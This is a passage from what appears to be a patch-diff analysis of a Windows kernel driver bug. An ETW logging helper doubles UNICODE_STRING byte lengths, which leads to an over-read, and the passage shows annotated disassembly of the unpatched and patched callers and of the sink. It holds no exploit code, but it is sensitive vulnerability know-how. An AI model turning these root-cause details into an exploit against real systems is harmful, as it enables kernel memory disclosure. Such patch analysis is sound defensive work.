&lt;p&gt;The diff makes the units bug explicit: &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; is documented as a &lt;strong&gt;byte&lt;/strong&gt; count, but &lt;code&gt;McTemplateK0hzr0hzr2 (sub_1c00012a0)&lt;/code&gt; assumes its length arguments are &lt;strong&gt;WideChar&lt;/strong&gt; counts and multiplies by 2 to convert to bytes. The unpatched caller passes byte counts; the patched caller conditionally divides by 2 first so the sink's multiply reproduces the original byte count.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;4.1 Vulnerable call setup (unpatched loop body)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007065&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; node-&amp;gt;flag check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007069&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000707D&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000706B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:...&lt;/span&gt;&lt;span class="no"&gt;InitMachineConfigEnableBits&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007072&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00070B2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007074&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;IMC_ETW_EVENT_IMC_VALUE_SET&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000707B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000708D&lt;/span&gt;
&lt;span class="c1"&gt;; no EvaluateCurrentState call, no shr — lengths passed raw:&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000708D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; value-name.Buffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007091&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; key-name Length IN BYTES (not halved)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007096&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000709B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; value-name Length IN BYTES (not halved)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000709F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00070A4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; key-name.Buffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00070A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;BugCheckParameter4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00070AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;McTemplateK0hzr0hzr2&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; sink doubles the lengths&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4.2 Patched call setup (same loop body, with the fix)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007068&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; NEW feature-staging gate&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000706D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007070&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; feature enabled?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007072&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00070D5&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; legacy (unhalved) path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007074&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007076&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00070AC&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007078&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:...&lt;/span&gt;&lt;span class="no"&gt;InitMachineConfigEnableBits&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000707F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0007130&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007085&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; value-name Length (bytes)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007089&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; value-name Buffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000708D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; key-name Length (bytes)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007092&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; NEW: halve value-name length&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007095&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000709A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; NEW: halve key-name length&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000709E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00070A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;IMC_ETW_EVENT_IMC_VALUE_SET&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00070AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0007122&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007122&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; key-name Buffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0007126&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;BugCheckParameter4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000712B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;McTemplateK0hzr0hzr2&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; sink doubles the halved lengths -&amp;gt; correct&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;test eax, eax&lt;/code&gt; / &lt;code&gt;jz loc_1C00070D5&lt;/code&gt; at &lt;code&gt;0x1c0007070&lt;/code&gt;/&lt;code&gt;0x1c0007072&lt;/code&gt; falls through to a second copy of the setup (at &lt;code&gt;0x1c00070d5&lt;/code&gt;+) that reads &lt;code&gt;[rbx+18h]&lt;/code&gt; / &lt;code&gt;[rbx+28h]&lt;/code&gt; &lt;strong&gt;without&lt;/strong&gt; the &lt;code&gt;shr&lt;/code&gt; halving — the retained legacy path used when the feature is disabled.&lt;/p&gt;
&lt;h3&gt;4.3 Sink (&lt;code&gt;McTemplateK0hzr0hzr2 @ 0x1c00012a0&lt;/code&gt;) — byte-identical in both binaries&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00012E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9w&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; arg4 = key-name length (bytes in vuln path)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00012E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; DOUBLES the value&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00012F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_38&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; EVENT_DATA_DESCRIPTOR.Size = 2 * input&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001305&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_28&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; value-name length&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001309&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; DOUBLES again&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000130F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; EVENT_DATA_DESCRIPTOR.Size = 2 * input&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000131B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;McGenEventWrite&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; EtwWriteTransfer (Size bytes read)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The root-cause instruction (&lt;code&gt;add eax, eax&lt;/code&gt; at &lt;code&gt;0x1c00012e8&lt;/code&gt;) is &lt;strong&gt;not&lt;/strong&gt; modified by the patch. The patch changes only the caller: when the feature is enabled it pre-halves the byte counts so the sink's doubling reproduces the original byte count.&lt;/p&gt;
&lt;blockquote&gt;
